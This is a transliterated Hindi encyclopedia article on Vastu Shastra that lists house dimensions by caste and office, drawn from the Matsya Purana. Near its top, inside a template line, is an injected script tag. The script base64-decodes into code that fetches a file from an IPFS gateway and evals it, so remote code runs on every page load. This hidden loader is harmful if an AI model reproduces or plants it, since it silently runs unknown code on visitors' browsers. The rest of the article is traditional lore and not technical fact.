वास्तुशास्त्र- भवनों के प्रकार
| 30px yah lekh pauranik granthoan athava manyataoan par adharit hai at: isamean varnit samagri ke vaijnanik praman hone ka ashvasan nahian diya ja sakata. vistar mean dekhean asvikaran |
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- REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sootaji kahate haian:- ab maian dooti-karm karane valoan tatha parivar ke any logoan ke paanch prakar ke bhavanoan ko batala raha hooan. unaki chau daee barah hath ki tatha lambaee usase savaya adhik hoti hai. shesh char grihoan ki chau daee kramash: adha-adha hath nyoon hoti hai. ab maian jyotishi, guru, vaidy, sabhapati aur purohit- in sabhi ke paanch yaprakar ke bhavanoan ka varnan kar raha hooan. unake uttam bhavan ki chau daee chalis hath ki hoti hai. shesh ki kram se char-char hath ki kam hoti hai. in paanchoan bhavanoan ki lambaee chau daee ke shashthansh se adhik hoti hai.
ab phir sadharanataya charoan varnoan ke liye paanch prakar ke grihoan ka varnan karata hooan. unamean brahman ke ghar ki chau daee battis hath ki honi chahiye. any jatiyoan ke liye kramash: char-char hath ki kami honi chahiye.[1] kintu solah hath se kam ki chau daee se dashaansh, kshatriy ke ghar ki ashtamaansh, vaishy ke ghar ki tihaee aur shoodr ke ghar ki chauthaee bhag adhik honi chahiye. yahi vidhi shreshth mani gayi hai.
senapati aur raja ke grihoan ke bich mean raja ke rahane ka grih banana chahiye. usi sthan par bhandagar bhi rahana chahiye. senapati ke tatha charoan varnoan ke griho ke madhy bhag mean sarvada raja ke poojy logoan ke nivasarth grih banavana chahiye. isake atirikt vibhinn jatiyoan ke liye evan vanecharoan ke liye shayan karane ka ghar pachas hath ka banavana chahiye. senapati aur raja ke grih ke pariman mean sattar ka yog karake chaudah ka bhag dene par vyas mean shala ka nyas kaha gaya hai. usamean paiantis hath par baramade ka sthan kaha gaya hai. chhattis hath sat aangul lambi brahman ki b di shala honi chahiyean usi prakar das aangul adhik kshatriy ki shala honi chahiye.[2]
vaishy ke liye paiantis hath terah aangul lambi shala honi chahiye. utane hi hath tatha pandrah aangul shoodr ki shala ka pariman hai. shala ki lambaee ke tin bhag par yadi samane ki or gali bani ho to vah 'soshnish' namak vastu hai. pichhe ki or gali ho to vah 'shreyochchhray' kahalata hai. yadi donoan parshvoan mean vithika ho to vah 'savashtambh' tatha charoan or vithika ho to 'susthit'namak vastu kaha jata hai. ye charoan prakar ki vithiyaan charoan varnoan ke liye mangaladayi haian. shala ke vistar ka solahavaan bhag tatha char hath- yah pahale khand ki ooanchaee ka man hai. adhik ooancha karane se hani hoti hai. usake bad any sabhi khandoan ki ooanchaee barahavean bhag ke barabar rakhani chahiye. yadi pakki eetoan ki divar banayi ja rahi ho to grih ki chau daee ke solahavean bhag ke pariman ke barabar motaee honi chahiye. vah dival lak di tatha mitti se bhi banayi ja sakati hai. sabhi vastuoan mean bhitar ke man ke anusar lambaee-chau daee ka man shreshth mana gaya hai. grih ke vyas se pachas aangul vistar tatha atharah aangul vedh se yukt dvar ki chau daee rakhani chahiye aur usaki ooanchaee chau daee jitane hathoan ki ho utane hi aangul un shakhaoan ki motaee honi chahiye- yahi sabhi vastuvidya ke jnataoan ne bataya haian dvar ke oopar ka kalash (burj) tatha niche ki dehali (chaukhat)- ye donoan shakhaoan se adhe adhik mote hoan, arthat inhean shakhaoan se dyodha mota rakhana chahiye.[3]
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tika tippani aur sandarbh
- ↑ arthat brahman ke uttam grih ki chau daee battis hath, kshatriy ke ghar ki atthaees hath, vaishy ke ghar ki chaubis hath tatha sath-shoodr ke ghar ki bis hath aur asath-shoodr ke ghar ki solah hath honi chahiye.
- ↑ matsy puran॥24-35॥
- ↑ matsy puran ॥36-44॥
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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